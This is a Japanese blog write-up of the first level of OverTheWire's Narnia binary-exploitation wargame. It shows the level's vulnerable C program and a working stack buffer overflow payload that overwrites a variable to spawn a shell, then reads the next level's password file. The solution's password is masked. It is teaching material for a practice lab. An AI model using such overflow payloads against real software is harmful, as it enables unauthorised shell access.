バイナリエクスプロイトの勉強として OverTheWire の Narnia を解いてみたのでBuffer Overflowの勉強として1問目のWriteupを書いておきます。
※以前まではすべてのレベルのWriteupを書くことを目標としていましたが、常設CTFのWriteupはネタバレにもなるのであまり書かないほうが良いのではないかといった判断のもと、Level 0→Level 1のみに変更させていただいております。ご了承ください。
Narnia とは?
バイナリエクスプロイトを CTF 形式で解きながら勉強できる OverTheWire というサイトの中でも、特に初歩的な問題を扱っているコンテンツです。
自分は策謀本は読みましたが CTF でも pwn はあまり触れてないのでバイナリエクスプロイトに関しては初心者です。
間違いや説明の足りない点などがあれば、ご指摘をお願い致します。
それではやっていきましょう!
Level 0 → Level 1
まずはターミナルからNarniaの最初のページをみてSSHで接続し、narnia0
を実行してみる。
kali@kali:~$ ssh narnia0@narnia.labs.overthewire.org -p 2226
$ cd /narnia
$ ./narnia0
Correct val's value from 0x41414141 → 0xdeadbeef
Here is your chance: ABCD
buf: ABCD
val: 0x41414141
WAY OFF!!!!
ソースコードを確認。
/* (前略) */
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 → 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s", &buf);
printf("buf: %s\n", buf);
printf("val: 0x%08x\n", val);
if(val==0xdeadbeef){
setreuid(geteuid(), geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
}
実行結果とソースコードによればbuf
からval
にバッファオーバーフローさせて0xdeadbeef
を格納したあとにsystem関数によって/bin/sh
が起動されればよいことがわかります。
対象のファイルを標準出力へ書き出すコマンドであるcat
を利用します。
$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | ./narnia0
Correct val's value from 0x41414141 → 0xdeadbeef
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA☒
val: 0xdeadbeef
これでシェルがとれたので確認。(実際の画面は$
は表示されてませんがわかりやすさのため、ここでは表記してます。)
$ whoami
narnia1
パスワード表示でクリア。
$ cat /etc/narnia_pass/narnia1
e********* (ここにパスワード表示)